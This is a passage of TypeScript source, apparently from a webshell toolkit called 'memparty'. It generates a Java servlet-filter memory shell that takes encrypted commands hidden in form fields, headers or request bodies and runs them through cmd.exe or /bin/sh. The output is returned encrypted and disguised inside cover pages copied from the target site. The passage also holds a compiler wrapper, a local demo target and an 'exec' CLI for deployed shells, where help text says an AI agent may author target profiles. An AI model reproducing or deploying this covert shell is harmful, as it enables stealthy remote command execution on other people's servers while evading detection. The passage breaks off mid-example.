static Class<?> forNameQuiet(String name, ClassLoader cl) {\n try {\n return Class.forName(name, true, cl);\n } catch (Throwable t) {\n return null;\n }\n }\n\n static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {\n try {\n java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\",\n String.class, byte[].class, int.class, int.class);\n m.setAccessible(true);\n byte[] bytes = java.util.Base64.getDecoder().decode(b64);\n return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);\n } catch (Throwable t) {\n return null; // another shell in this JVM already defined it\n }\n }\n\n /** Wrap the request so downstream code can re-read the JSON body we consumed. */\n static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {\n ClassLoader cl = ${opts.className}.class.getClassLoader();\n Class<?> c = forNameQuiet(\"mimic.CachedBody\", cl);\n if (c == null) {\n defineQuiet(cl, \"mimic.CachedBody$Stream\", WRAPPER_STREAM_B64);\n c = defineQuiet(cl, \"mimic.CachedBody\", WRAPPER_B64);\n if (c == null) c = forNameQuiet(\"mimic.CachedBody\", cl);\n }\n return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)\n .newInstance(req, body);\n }\n`;\n}\n\n// ---------------------------------------------------------------------------\n// Shared method snippets — identical in the filter and the CryptoProbe.\n// ---------------------------------------------------------------------------\n\nconst MD5_METHOD = String.raw`\n static String md5Hex(String s) throws Exception {\n MessageDigest m = MessageDigest.getInstance(\"MD5\");\n byte[] d = m.digest(s.getBytes(\"UTF-8\"));\n StringBuilder sb = new StringBuilder();\n for (byte b : d) sb.append(String.format(\"%02x\", b & 0xff));\n return sb.toString();\n }\n`;\n\nfunction cryptMethod(algorithm: MimicCipher[\"algorithm\"]): string {\n switch (algorithm) {\n case \"aes-ecb\":\n return String.raw`\n static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {\n Cipher c = Cipher.getInstance(\"AES/ECB/PKCS5Padding\");\n c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,\n new SecretKeySpec(key.getBytes(\"UTF-8\"), \"AES\"));\n return c.doFinal(data);\n }\n`;\n case \"aes-cbc\":\n return String.raw`\n static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {\n Cipher c = Cipher.getInstance(\"AES/CBC/PKCS5Padding\");\n SecretKeySpec ks = new SecretKeySpec(key.getBytes(\"UTF-8\"), \"AES\");\n if (enc) {\n byte[] iv = new byte[16];\n new java.security.SecureRandom().nextBytes(iv);\n c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));\n byte[] ct = c.doFinal(data);\n ByteArrayOutputStream bos = new ByteArrayOutputStream();\n bos.write(iv);\n bos.write(ct);\n return bos.toByteArray();\n }\n c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));\n return c.doFinal(data, 16, data.length - 16);\n }\n`;\n case \"xor\":\n return String.raw`\n static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {\n byte[] k = key.getBytes(\"UTF-8\");\n byte[] out = new byte[data.length];\n for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);\n return out;\n }\n`;\n }\n}\n\nfunction encDecMethods(encoding: MimicCipher[\"encoding\"]): string {\n switch (encoding) {\n case \"base64\":\n return String.raw`\n static String enc(byte[] data) {\n return java.util.Base64.getEncoder().encodeToString(data);\n }\n static byte[] dec(String s) {\n return java.util.Base64.getDecoder().decode(s);\n }\n`;\n case \"base64url\":\n return String.raw`\n static String enc(byte[] data) {\n return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);\n }\n static byte[] dec(String s) {\n return java.util.Base64.getUrlDecoder().decode(s);\n }\n`;\n case \"hex\":\n return String.raw`\n static String enc(byte[] data) {\n StringBuilder sb = new StringBuilder();\n for (byte b : data) sb.append(String.format(\"%02x\", b & 0xff));\n return sb.toString();\n }\n static byte[] dec(String s) {\n ByteArrayOutputStream bos = new ByteArrayOutputStream();\n for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));\n return bos.toByteArray();\n }\n`;\n }\n}\n\n/** Behinder aes_with_magic's trick: junk tail of key-derived length (0-15). */\nconst PAD_METHODS = String.raw`\n static int padLen(String aesKey) throws Exception {\n return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;\n }\n static String appendPad(String s, String aesKey) throws Exception {\n int n = padLen(aesKey);\n StringBuilder sb = new StringBuilder(s);\n java.util.Random r = new java.util.Random();\n for (int i = 0; i < n; i++) {\n sb.append(\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\".charAt(r.nextInt(62)));\n }\n return sb.toString();\n }\n static String stripPad(String s, String aesKey) throws Exception {\n int n = padLen(aesKey);\n return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));\n }\n`;\n\nfunction fieldTransforms(cipher: MimicCipher): string {\n const afterEncode = cipher.padTail ? \"appendPad(s, aesKey)\" : \"s\";\n const beforeDecode = cipher.padTail ? \"stripPad(v, aesKey)\" : \"v\";\n return `\n static String encryptField(byte[] plain, String aesKey) throws Exception {\n String s = enc(crypt(plain, aesKey, true));\n return ${afterEncode};\n }\n static byte[] decryptField(String v, String aesKey) throws Exception {\n String s = ${beforeDecode};\n return crypt(dec(s), aesKey, false);\n }\n`;\n}\n\n/** Wrap the ciphertext into the fragment injected into the cover page. */\nfunction wrapPayloadMethod(marker: MimicCipher[\"marker\"]): string {\n if (marker === \"html-comment\") {\n return String.raw`\n static String wrapPayload(String payload, String passKey) throws Exception {\n return \"<!--Re\" + md5Hex(passKey).substring(0, 5) + \"_config:\" + payload + \"-->\";\n }\n`;\n }\n return String.raw`\n static String wrapPayload(String payload, String passKey) throws Exception {\n return \"<script>var Re\" + md5Hex(passKey).substring(0, 5) + \"_config=\\\"\" + payload + \"\\\";</script>\";\n }\n`;\n}\n\n/** All shared snippets in emission order (filter and probe use this order). */\nfunction sharedMethods(cipher: MimicCipher): string {\n return (\n MD5_METHOD +\n cryptMethod(cipher.algorithm) +\n encDecMethods(cipher.encoding) +\n (cipher.padTail ? PAD_METHODS : \"\") +\n fieldTransforms(cipher)\n );\n}\n\n// ---------------------------------------------------------------------------\n// The servlet filter (server half of the protocol).\n// ---------------------------------------------------------------------------\n\nexport function renderFilterJava(opts: FilterTemplateOptions): string {\n const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;\n const fieldsJava = fields.map((f) => `\"${javaStringLiteral(f)}\"`).join(\", \");\n const bodyCtsJava = bodyContentTypes.map((n) => `\"${javaStringLiteral(n)}\"`).join(\", \");\n const tplsJava = templates.map((t) => ` \"${javaStringLiteral(t.template)}\"`).join(\",\\n\");\n const ctsJava = templates.map((t) => `\"${javaStringLiteral(t.contentType)}\"`).join(\", \");\n\n return `package mimic;\n\nimport java.io.*;\nimport java.security.MessageDigest;\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.IvParameterSpec;\nimport javax.crypto.spec.SecretKeySpec;\nimport javax.servlet.*;\nimport javax.servlet.http.*;\n\n/**\n * mimic protocol server (matches src/connect/mimic-codecs.ts):\n * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}\n *\n * Detection uses getParameter()/getHeader() first, never touching the body\n * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a\n * caching wrapper, so the app's own endpoints (and other shells behind us)\n * still see the body. Anything that is not ours falls through chain.doFilter;\n * any error answers with the plain cover template.\n */\npublic class ${className} implements Filter {\n /** carriers that may hold the ciphertext (form fields / headers, from the profile) */\n static final String[] FIELDS = { ${fieldsJava} };\n /** body Content-Type needles the shell owns — anything else passes with its body untouched */\n static final String[] BODY_CTS = { ${bodyCtsJava} };\n /** credentials — must match the client's --pass/--key (key + marker derivation) */\n static final String PASS = \"${javaStringLiteral(pass)}\";\n static final String SECRET = \"${javaStringLiteral(secret)}\";\n /** Cover bodies from the site profile — rotated per response so the skin varies. */\n static final String[] TPLS = {\n${tplsJava}\n };\n /** Content-Type of each cover body (parallel to TPLS). */\n static final String[] CTS = { ${ctsJava} };\n\n public void init(FilterConfig filterConfig) {}\n public void destroy() {}\n${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}\n static byte[] readAll(InputStream in) throws IOException {\n ByteArrayOutputStream bos = new ByteArrayOutputStream();\n byte[] buf = new byte[8192];\n int n;\n while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);\n return bos.toByteArray();\n }\n\n /** read the body only when its Content-Type is one the profile actually uses */\n static boolean ctMatches(String ct) {\n String l = ct.toLowerCase();\n for (String n : BODY_CTS) if (l.contains(n)) return true;\n return false;\n }\n\n /** minimal \"field\":\"value\" extraction — cipher values carry no quotes/escapes */\n static String jsonField(String body, String field) {\n String needle = \"\\\\\"\" + field + \"\\\\\"\";\n int i = body.indexOf(needle);\n if (i < 0) return null;\n int colon = body.indexOf(':', i + needle.length());\n if (colon < 0) return null;\n int q1 = body.indexOf('\"', colon + 1);\n if (q1 < 0) return null;\n int q2 = body.indexOf('\"', q1 + 1);\n if (q2 < 0) return null;\n return body.substring(q1 + 1, q2);\n }\n\n /** minimal multipart extraction: the value follows the part headers of name=\"field\" */\n static String multipartField(String body, String field) {\n String needle = \"name=\\\\\"\" + field + \"\\\\\"\";\n int i = body.indexOf(needle);\n if (i < 0) return null;\n int sep = body.indexOf(\"\\\\r\\\\n\\\\r\\\\n\", i + needle.length());\n int sepLen = 4;\n if (sep < 0) { sep = body.indexOf(\"\\\\n\\\\n\", i + needle.length()); sepLen = 2; }\n if (sep < 0) return null;\n int start = sep + sepLen;\n int end = body.indexOf('\\\\n', start);\n if (end < 0) end = body.length();\n String v = body.substring(start, end).trim();\n return v.isEmpty() ? null : v;\n }\n\n /** minimal XML extraction: <field>value</field> */\n static String xmlField(String body, String field) {\n String open = \"<\" + field + \">\";\n int i = body.indexOf(open);\n if (i < 0) return null;\n int start = i + open.length();\n int end = body.indexOf(\"</\" + field + \">\", start);\n if (end < 0) return null;\n return body.substring(start, end);\n }\n${wrapperLoaderMethods(opts)}\n public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)\n throws IOException, ServletException {\n HttpServletRequest httpReq = request instanceof HttpServletRequest\n ? (HttpServletRequest) request : null;\n String value = null;\n for (String f : FIELDS) {\n value = request.getParameter(f);\n if (value == null && httpReq != null) {\n // secretIn=header: the ciphertext may ride a header instead of a form field\n value = httpReq.getHeader(f);\n }\n if (value != null) break;\n }\n if (value == null && httpReq != null) {\n // the ciphertext may ride a raw body of any bodyTemplate shape\n // (JSON / multipart / XML…). Read it once and re-expose it\n // downstream via the caching wrapper.\n String ct = httpReq.getContentType();\n if (ct != null && ctMatches(ct)) {\n try {\n byte[] bodyBytes = readAll(httpReq.getInputStream());\n String bodyText = new String(bodyBytes, \"UTF-8\");\n for (String f : FIELDS) {\n value = jsonField(bodyText, f);\n if (value == null) value = multipartField(bodyText, f);\n if (value == null) value = xmlField(bodyText, f);\n if (value != null) break;\n }\n request = wrapBody(httpReq, bodyBytes);\n } catch (Throwable wrapperFailed) {\n // the body is already consumed — pass through as-is\n }\n }\n }\n if (value == null) {\n chain.doFilter(request, response);\n return;\n }\n String aesKey;\n byte[] cmd;\n try {\n aesKey = md5Hex(SECRET).substring(0, 16);\n cmd = decryptField(value, aesKey);\n } catch (Exception notOurs) {\n // the field exists but doesn't decrypt — this is someone else's\n // legitimate request (e.g. the real login POST), stay invisible\n chain.doFilter(request, response);\n return;\n }\n int ti = new java.util.Random().nextInt(TPLS.length);\n String tpl = TPLS[ti];\n String tplCt = CTS[ti];\n try {\n String command = new String(cmd, \"UTF-8\");\n boolean win = System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n ProcessBuilder pb = win\n ? new ProcessBuilder(\"cmd.exe\", \"/c\", command)\n : new ProcessBuilder(\"/bin/sh\", \"-c\", command);\n pb.redirectErrorStream(true);\n Process proc = pb.start();\n proc.waitFor();\n String payload = encryptField(readAll(proc.getInputStream()), aesKey);\n String page;\n if (tpl.contains(\"{{payload}}\")) {\n // placeholder template (any text format): substitute exactly there\n page = tpl.replace(\"{{payload}}\", payload);\n } else {\n String fragment = wrapPayload(payload, PASS + SECRET);\n int idx = tpl.toLowerCase().lastIndexOf(\"</body>\");\n page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;\n }\n response.setContentType(tplCt);\n response.setCharacterEncoding(\"UTF-8\");\n if (tplCt.contains(\"event-stream\")) {\n // flush chunk by chunk — a real SSE endpoint streams, a\n // one-shot body is the wrong shape on the wire\n java.io.PrintWriter w = response.getWriter();\n for (String chunk : page.split(\"\\\\n\\\\n\", -1)) {\n if (chunk.isEmpty()) continue;\n w.write(chunk);\n w.write(\"\\\\n\\\\n\");\n w.flush();\n response.flushBuffer();\n try { Thread.sleep(30); } catch (InterruptedException ie) { break; }\n }\n } else {\n response.getWriter().write(page);\n }\n } catch (Exception e) {\n // behave like the cover body on any error — stay quiet\n response.setContentType(tplCt);\n response.getWriter().write(tpl);\n }\n }\n}\n`;\n}\n\n// ---------------------------------------------------------------------------\n// CryptoProbe — a tiny CLI harness around the same snippets, used by the\n// cross-language tests: `java CryptoProbe enc|dec <secret> <value>`.\n// ---------------------------------------------------------------------------\n\nexport function renderCryptoProbe(cipher: MimicCipher): string {\n return `import java.io.*;\nimport java.security.MessageDigest;\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.IvParameterSpec;\nimport javax.crypto.spec.SecretKeySpec;\n\n/** Cross-language test harness — shares every snippet with the mimic filter. */\npublic class CryptoProbe {\n${sharedMethods(cipher)}\n static String bytesToHex(byte[] data) {\n StringBuilder sb = new StringBuilder();\n for (byte b : data) sb.append(String.format(\"%02x\", b & 0xff));\n return sb.toString();\n }\n static byte[] hexToBytes(String s) {\n ByteArrayOutputStream bos = new ByteArrayOutputStream();\n for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));\n return bos.toByteArray();\n }\n\n public static void main(String[] args) throws Exception {\n String aesKey = md5Hex(args[1]).substring(0, 16);\n if (\"enc\".equals(args[0])) {\n // hex plaintext on argv -> wire value on stdout\n System.out.println(encryptField(hexToBytes(args[2]), aesKey));\n } else {\n // wire value on argv -> hex plaintext on stdout\n System.out.println(bytesToHex(decryptField(args[2], aesKey)));\n }\n }\n}\n`;\n}\n","/**\n * Thin wrapper around the local JDK's `javac` — `memparty custom build`\n * compiles the generated filter on the operator's machine, so a JDK (11+)\n * must be on PATH. The servlet API jar ships inside the package\n * (resources/) so compilation has no other dependency.\n */\nimport { execFileSync } from \"node:child_process\";\nimport { existsSync } from \"node:fs\";\nimport { fileURLToPath } from \"node:url\";\n\n/** Locate the bundled javax.servlet-api jar (handles both src/ and dist/ layouts). */\nexport function servletApiJar(): string {\n const candidates = [\n new URL(\"../resources/javax.servlet-api-3.1.0.jar\", import.meta.url), // dist/*.js\n new URL(\"../../resources/javax.servlet-api-3.1.0.jar\", import.meta.url), // src/custom/*.ts\n ];\n for (const candidate of candidates) {\n const p = fileURLToPath(candidate);\n if (existsSync(p)) return p;\n }\n throw new Error(\n \"bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)\",\n );\n}\n\n/** Resolve javac or throw with an install hint. */\nexport function findJavac(): string {\n try {\n execFileSync(\"javac\", [\"-version\"], { stdio: \"pipe\" });\n return \"javac\";\n } catch {\n throw new Error(\n \"javac not found on PATH — 'memparty custom build' compiles Java locally, \" +\n \"install any JDK 11+ and retry\",\n );\n }\n}\n\n/** True when a working javac is available (used to skip integration tests). */\nexport function hasJavac(): boolean {\n try {\n findJavac();\n return true;\n } catch {\n return false;\n }\n}\n\nexport interface CompileOptions {\n /** Classpath entries (e.g. the servlet API jar for the filter). */\n classpath?: string[];\n}\n\n/**\n * Compile one or more .java files to Java 8 bytecode into `outDir`.\n * UTF-8 source encoding is forced (cover pages may carry CJK text).\n */\nexport function compileJava(sources: string[], outDir: string, opts: CompileOptions = {}): void {\n const javac = findJavac();\n const args = [\"-encoding\", \"UTF-8\", \"--release\", \"8\"];\n if (opts.classpath && opts.classpath.length > 0) {\n args.push(\"-cp\", opts.classpath.join(process.platform === \"win32\" ? \";\" : \":\"));\n }\n args.push(\"-d\", outDir, ...sources);\n execFileSync(javac, args, { stdio: \"pipe\" });\n}\n","/**\n * A fake business site with a mimic shell hidden inside it — the local\n * validation target for the mimic protocol (`memparty demo`, tests).\n *\n * Every GET returns a plausible portal page; a POST carrying the shell's\n * pass parameter is treated as a shell request no matter which path it\n * lands on — that is exactly how a filter-type memory shell behaves, and\n * what makes the mimic protocol's dynamic paths possible.\n */\nimport { exec } from \"node:child_process\";\nimport http from \"node:http\";\nimport type { AddressInfo } from \"node:net\";\n\nimport {\n decodeAnyBody,\n decodeRequestBody,\n deriveAesKey,\n encryptField,\n decryptField,\n injectFragment,\n} from \"./mimic-shared.js\";\nimport { deriveMarkers, resolveCipher } from \"./mimic-codecs.js\";\nimport { PAYLOAD_PLACEHOLDER, type ProfileCipher, type ProfileTemplate } from \"../core/site-profile.js\";\n\n/** Decrypt one carrier value (query/header mode), null on failure. */\nfunction tryDecrypt(b64: string, aesKey: string, cipher = resolveCipher()): Buffer | null {\n try {\n return decryptField(b64, aesKey, cipher);\n } catch {\n return null;\n }\n}\n\nconst SITE_TITLE = \"云枢科技 - 企业数字化服务商\";\n\nconst NAV = `<nav><a href=\"/\">首页</a> <a href=\"/products/\">产品中心</a> <a href=\"/news/\">新闻动态</a> <a href=\"/about/\">关于我们</a></nav>`;\n\nconst PAGES: Record<string, string> = {\n \"/\": `<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n<meta charset=\"UTF-8\">\n<title>${SITE_TITLE}</title>\n</head>\n<body>\n<header><h1>云枢科技</h1>${NAV}</header>\n<main>\n<h2>让企业数据流动起来</h2>\n<p>云枢科技为中型企业提供数据集成、报表可视化与流程自动化服务。</p>\n<ul>\n<li><a href=\"/products/yunetl.html\">云枢 ETL 平台</a></li>\n<li><a href=\"/products/yunbi.html\">云枢 BI 报表</a></li>\n<li><a href=\"/news/2024/release-notes.html\">2024 产品发布说明</a></li>\n</ul>\n</main>\n<footer>© 2024 云枢科技 京ICP备2024000000号</footer>\n</body>\n</html>`,\n \"/products/\": `<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n<meta charset=\"UTF-8\">\n<title>产品中心 - 云枢科技</title>\n</head>\n<body>\n<header><h1>云枢科技</h1>${NAV}</header>\n<main><h2>产品中心</h2><p>ETL / BI / 流程自动化三大产品线。</p></main>\n<footer>© 2024 云枢科技</footer>\n</body>\n</html>`,\n \"/news/\": `<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n<meta charset=\"UTF-8\">\n<title>新闻动态 - 云枢科技</title>\n</head>\n<body>\n<header><h1>云枢科技</h1>${NAV}</header>\n<main><h2>新闻动态</h2><p>云枢 ETL 3.2 发布,新增实时同步通道。</p></main>\n<footer>© 2024 云枢科技</footer>\n</body>\n</html>`,\n};\n\nconst NOT_FOUND = `<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n<meta charset=\"UTF-8\">\n<title>页面不存在 - 云枢科技</title>\n</head>\n<body>\n<header><h1>云枢科技</h1>${NAV}</header>\n<main><h2>404</h2><p>您访问的页面不存在。</p></main>\n<footer>© 2024 云枢科技</footer>\n</body>\n</html>`;\n\n/** The mock site's homepage — exported so `memparty demo` can use it as the skin. */\nexport const MOCK_HOMEPAGE = PAGES[\"/\"]!;\n\nexport interface MimicServerOptions {\n pass?: string;\n secretKey?: string;\n /** Wire codec selection — must match the profile the client uses. */\n cipher?: ProfileCipher;\n /**\n * Cover templates the shell rotates (default: the mock homepage). A\n * template carrying {{payload}} gets the ciphertext substituted and is\n * served with its own contentType — JSON/XML/JS skins work the same way.\n */\n templates?: ProfileTemplate[];\n /** Carrier field names to probe (default: [pass]) — mirrors the filter's FIELDS. */\n fields?: string[];\n /** Command execution timeout on the \"target\" (default 5s). */\n execTimeoutMs?: number;\n}\n\nexport interface MimicServer {\n url: string;\n port: number;\n close(): Promise<void>;\n}\n\nfunction runCommand(command: string, timeoutMs: number): Promise<string> {\n return new Promise((resolve) => {\n exec(command, { timeout: timeoutMs, windowsHide: true }, (err, stdout, stderr) => {\n if (err && !stdout && !stderr) {\n resolve(`command failed: ${err.message}`);\n return;\n }\n resolve(stdout + stderr);\n });\n });\n}\n\n/**\n * Start the fake site on 127.0.0.1 with a random port.\n * Shell responses reuse the homepage HTML as their skin — on a real target\n * that skin comes from the site profile learned by `memparty profile`.\n */\nexport async function startMimicServer(options: MimicServerOptions = {}): Promise<MimicServer> {\n const pass = options.pass ?? \"pass\";\n const secretKey = options.secretKey ?? \"key\";\n const cipher = resolveCipher(options.cipher);\n const aesKey = deriveAesKey(secretKey);\n const markers = deriveMarkers(pass, secretKey, cipher);\n const execTimeoutMs = options.execTimeoutMs ?? 5_000;\n const skins: ProfileTemplate[] = options.templates ?? [\n { title: \"mock\", template: PAGES[\"/\"]!, contentType: \"text/html; charset=utf-8\" },\n ];\n const fields = options.fields ?? [pass];\n\n const server = http.createServer((req, res) => {\n if (req.method === \"POST\") {\n const chunks: Buffer[] = [];\n req.on(\"data\", (c: Buffer) => chunks.push(c));\n req.on(\"end\", () => {\n const rawBody = Buffer.concat(chunks);\n // carriers: form body | raw body (json/multipart/xml) | query | header\n let command: Buffer | null = null;\n for (const f of fields) {\n command = decodeRequestBody(rawBody, f, aesKey, cipher);\n if (command === null) command = decodeAnyBody(rawBody, f, aesKey, cipher);\n if (command === null) {\n const query = new URL(req.url ?? \"/\", \"http://x\").searchParams.get(f);\n if (query) command = tryDecrypt(query, aesKey, cipher);\n }\n if (command === null) {\n const header = req.headers[f.toLowerCase()];\n if (typeof header === \"string\") command = tryDecrypt(header, aesKey, cipher);\n }\n if (command !== null) break;\n }\n if (command === null) {\n res.writeHead(404, { \"Content-Type\": \"text/html; charset=utf-8\" });\n res.end(NOT_FOUND);\n return;\n }\n void runCommand(command.toString(\"utf8\"), execTimeoutMs).then((output) => {\n const b64 = encryptField(Buffer.from(output, \"utf8\"), aesKey, cipher);\n const skin = skins[Math.floor(Math.random() * skins.length)]!;\n const body = skin.template.includes(PAYLOAD_PLACEHOLDER)\n ? skin.template.replaceAll(PAYLOAD_PLACEHOLDER, b64)\n : injectFragment(skin.template, markers.wrap(b64));\n res.writeHead(200, { \"Content-Type\": skin.contentType });\n if (skin.contentType.includes(\"event-stream\")) {\n // flush chunk by chunk with a small cadence — looks like a live\n // stream on the wire, not a one-shot body\n const sseChunks = body.split(\"\\n\\n\").filter((c) => c.length > 0);\n let i = 0;\n const next = (): void => {\n if (i < sseChunks.length) {\n res.write(`${sseChunks[i++]!}\\n\\n`);\n setTimeout(next, 25);\n } else {\n res.end();\n }\n };\n next();\n } else {\n res.end(body);\n }\n });\n });\n return;\n }\n const page = PAGES[req.url ?? \"/\"] ?? NOT_FOUND;\n res.writeHead(PAGES[req.url ?? \"/\"] ? 200 : 404, {\n \"Content-Type\": \"text/html; charset=utf-8\",\n });\n res.end(page);\n });\n\n await new Promise<void>((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n const { port } = server.address() as AddressInfo;\n return {\n url: `http://127.0.0.1:${port}/`,\n port,\n close: () => new Promise<void>((resolve) => server.close(() => resolve())),\n };\n}\n","import { Command } from \"commander\";\n\nimport { reportError, type GlobalOptions } from \"../cli-context.js\";\nimport { MOCK_HOMEPAGE, startMimicServer } from \"../connect/mimic-server.js\";\nimport { getProtocol } from \"../connect/registry.js\";\nimport { saveProfile, type SiteProfile } from \"../core/site-profile.js\";\nimport type { ResolvedConnection } from \"../core/targets.js\";\n\ninterface DemoCmdOptions extends GlobalOptions {\n cmd?: string;\n json?: boolean;\n}\n\n/**\n * The profile for the demo's fake site, written by hand — in a real\n * engagement this is the file the operator (or AI agent) authors after\n * reading the target's pages.\n */\nfunction demoProfile(site: string): SiteProfile {\n return {\n name: \"demo\",\n site,\n createdAt: new Date().toISOString(),\n templates: [\n {\n title: \"云枢科技 - 企业数字化服务商\",\n template: MOCK_HOMEPAGE,\n contentType: \"text/html; charset=utf-8\",\n },\n ],\n paths: [\"/products/\", \"/news/\", \"/about/\"],\n };\n}\n\n/**\n * `memparty demo` — run the whole mimic loop locally against a fake\n * business site: hand-written profile, handshake, then one command.\n * Nothing leaves 127.0.0.1.\n */\nexport function registerDemoCommand(program: Command): void {\n program\n .command(\"demo\")\n .description(\n \"Run the mimic protocol end-to-end locally: fake business site + profile \" +\n \"+ connect + one exec (no external traffic)\",\n )\n .option(\"--cmd <command>\", \"command to execute on the fake target\", \"whoami\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nThis is the reference walk-through for the mimic plugin:\n 1. starts a fake business site on 127.0.0.1 (a mimic shell hides in it)\n 2. loads a hand-written site profile (in real engagements the operator\n or AI agent writes it — see 'memparty profile init')\n 3. 'connect' does a credential round-trip using a dynamic path\n 4. 'exec' runs --cmd through the same channel\nWatch the printed request URL in step 3/4: it changes every run.\n`,\n )\n .action(async (opts: DemoCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n const log = (line: string) => {\n if (!opts.json) process.stdout.write(`${line}\\n`);\n };\n\n const server = await startMimicServer();\n try {\n log(`[1/4] fake business site up at ${server.url}`);\n\n const profile = demoProfile(server.url.replace(/\\/+$/, \"\"));\n saveProfile(profile);\n log(\n `[2/4] profile 'demo' loaded: title=${JSON.stringify(profile.templates![0]!.title)}, ` +\n `paths=[${profile.paths.join(\", \")}], templates=${profile.templates!.length}`,\n );\n\n const protocol = getProtocol(\"mimic\")!;\n const conn: ResolvedConnection = {\n url: server.url,\n tool: \"mimic\",\n pass: \"pass\",\n key: \"key\",\n extraHeaders: {},\n profile: \"demo\",\n };\n const common = { timeoutMs };\n const options = { profile: \"demo\", dynamicPath: true };\n\n const test = await protocol.test({ conn, common, options });\n if (!test.ok) throw new Error(`connect failed: ${test.error}`);\n log(`[3/4] connect ok — ${test.detail}`);\n\n const result = await protocol.exec!({ conn, common, options }, opts.cmd!);\n if (!result.ok) throw new Error(`exec failed: ${result.error}`);\n log(`[4/4] exec ok — ${JSON.stringify(opts.cmd)} output:`);\n\n if (opts.json) {\n process.stdout.write(\n `${JSON.stringify({ ok: true, profile, test, exec: result }, null, 2)}\\n`,\n );\n } else {\n process.stdout.write(`${result.output ?? \"\"}`);\n if (result.output && !result.output.endsWith(\"\\n\")) process.stdout.write(\"\\n\");\n }\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n } finally {\n await server.close();\n }\n });\n}\n","import { Command, Option } from \"commander\";\n\nimport { logInfo, reportError, type GlobalOptions } from \"../cli-context.js\";\nimport {\n protocolNames,\n requireProtocol,\n unsupportedMessage,\n type ProtocolOptions,\n} from \"../connect/registry.js\";\nimport type { CommonConnectOptions, ExecResult } from \"../connect/types.js\";\nimport { logOp, truncateOutput } from \"../core/oplog.js\";\nimport { autoSaveShell, resolveConnection } from \"../core/targets.js\";\n\ninterface ExecCmdOptions extends GlobalOptions {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n cmd?: string;\n os?: \"auto\" | \"windows\" | \"linux\";\n headerName?: string;\n headerValue?: string;\n header?: string[];\n profile?: string;\n dynamicPath?: boolean;\n upgradeProtocol?: string;\n insecure?: boolean;\n json?: boolean;\n save?: boolean;\n}\n\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\n const headers: Record<string, string> = {};\n for (const line of lines ?? []) {\n const idx = line.indexOf(\":\");\n if (idx <= 0) {\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\n }\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\n }\n return headers;\n}\n\nexport function registerExecCommand(program: Command): void {\n program\n .command(\"exec\")\n .description(\n \"Execute a command on a deployed webshell and print its output\",\n )\n .argument(\"[name]\", \"saved target name (see 'memparty list')\")\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell protocol\").choices(protocolNames(\"exec\")),\n )\n .requiredOption(\"--cmd <command>\", \"command line to execute on the target\")\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\n .option(\"--key <key>\", \"godzilla/mimic key (default: key)\")\n .addOption(\n new Option(\"--os <family>\", \"godzilla: remote OS for the shell wrapper\")\n .choices([\"auto\", \"windows\", \"linux\"])\n .default(\"auto\"),\n )\n .option(\n \"--header-name <name>\",\n \"gate header name reported by gen (shellToolConfig.headerName)\",\n )\n .option(\n \"--header-value <value>\",\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\n )\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .option(\"--profile <name>\", \"mimic: site profile name (see 'memparty profile')\")\n .option(\"--dynamic-path\", \"mimic: randomize the request path from the site profile\")\n .option(\"--upgrade-protocol <className>\", \"godzilla Upgrade shell: fully-qualified generated shell class name\")\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--json\", \"output raw JSON\")\n .option(\"--no-save\", \"do not auto-save the target after a successful exec\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key \\\\\n --header-value my-secret-token --cmd \"whoami\"\n $ memparty exec -u http://target/shell.jsp -t behinder 